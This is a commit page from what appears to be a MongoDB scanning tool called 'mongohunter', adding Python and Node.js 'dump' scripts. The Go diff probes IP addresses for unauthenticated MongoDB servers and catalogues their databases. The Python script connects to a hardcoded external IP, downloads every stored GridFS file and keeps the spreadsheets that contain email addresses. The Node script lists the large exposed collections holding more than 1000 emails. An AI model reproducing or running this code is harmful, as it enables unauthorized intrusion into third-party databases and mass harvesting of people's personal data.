Commit 6e3801df authored by Madhurendra 's avatar Madhurendra 🤹

Added node & py dump.

parent 2ec3b8c3
import ntpath
import re
from io import BytesIO
import gridfs
import pymongo as pym
from pandas import ExcelFile
def connectToDb():
client = pym.MongoClient('mongodb://14.143.82.24:27017/')
db = client.SMSSvatantra_Live
collectn = db.SMSSvatantra_Live
fs = gridfs.GridFS(db)
return db, collectn, fs
db, collectn, fs = connectToDb()
if __name__ == "__main__":
for file in db.fs.files.find({}, {"_id": 1, "filename": 1}):
filename = ntpath.basename(file["filename"])
print(filename)
if filename.endswith(".xls") or filename.endswith(".csv"):
print("Downloading ." + filename)
to_write = False
fobj = fs.get(file["_id"])
buff = fobj.read()
excel_data = ExcelFile(BytesIO(buff))
df = excel_data.parse(excel_data.sheet_names[-1])
csv = df.to_csv()
emails = re.findall(r"[a-z0-9\.\-+_]+@[a-z0-9\.\-+_]+\.[a-z]+", csv)
if len(emails):
print(emails)
to_write = True
if to_write:
f = open("./data/" + filename, 'wb')
f.write(buff)
f.close()
const MongoClient = require('mongodb').MongoClient;
const url = "mongodb://localhost:27017/tik";
MongoClient.connect(url, (err, client) => {
if (err) throw err;
const db = client.db("tik");
const collection = db.collection("mongohunter");
collection.find({}).sort({"totalSize": -1}).toArray((err, result) => {
result.forEach(doc => {
let colls = Object.keys(doc["collections"]);
if (colls.length === 0) return;
const size = (doc["totalSize"] / (1024 * 1024 * 1024));
if (size < 1) return;
;
console.log("> " + doc["_id"]);
console.log("> Size : " + (size) + " GB");
Object.keys(doc["collections"]).forEach(k => {
let info = doc["collections"][k];
let emails = JSON.stringify(info).match(/([a-zA-Z0-9._-]+@[a-zA-Z0-9._-]+\.[a-zA-Z0-9._-]+)/gi);
if (emails && emails.length && info["count"] > 1000) {
console.log(k, info["count"], emails);
}
});
// console.log(colls);
console.log("------------------------------------------------------------------------\n")
})
});
});
......@@ -112,20 +112,37 @@ func testIP(input string, data chan string) {
//If we can list databases , we can read records to!
dbs, err := client.ListDatabases(context.TODO(), bson.D{{}})
local := getClient()
collection := local.Database("tik").Collection("mongohunter")
if err != nil {
if *verbose {
print("\r\033[K" + input + ": ")
println(err.Error())
}
println("\r\033[K" + input + " is Open")
filter := bson.M{"_id": bson.M{"$eq": input}}
updateOp := options.UpdateOptions{}
updateOp.SetUpsert(true)
_, _ = collection.UpdateOne(context.Background(),
filter,
bson.D{
{"$set", bson.D{
{"_id", input},
{"updated", time.Now()},
}},
{"$setOnInsert", bson.D{
{"created", time.Now()},
}},
}, &updateOp)
} else {
println("\r\033[K" + input + " is VULNERABLE:")
fmt.Printf("%v", dbs)
println("\n")
local := getClient()
var collections = bson.D{}
for _, db := range dbs.Databases {
......@@ -153,7 +170,7 @@ func testIP(input string, data chan string) {
}
}
}
collection := local.Database("tik").Collection("mongohunter")
filter := bson.M{"_id": bson.M{"$eq": input}}
updateOp := options.UpdateOptions{}
updateOp.SetUpsert(true)
......@@ -172,15 +189,13 @@ func testIP(input string, data chan string) {
}},
}, &updateOp)
fmt.Println("Updated info about " + input)
if *outFile != "null" {
data <- input
}
if err != nil {
fmt.Print(err)
return
}
if *outFile != "null" {
data <- input
}
}
client.Disconnect(context.TODO())
return
......
Markdown is supported
0%
or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment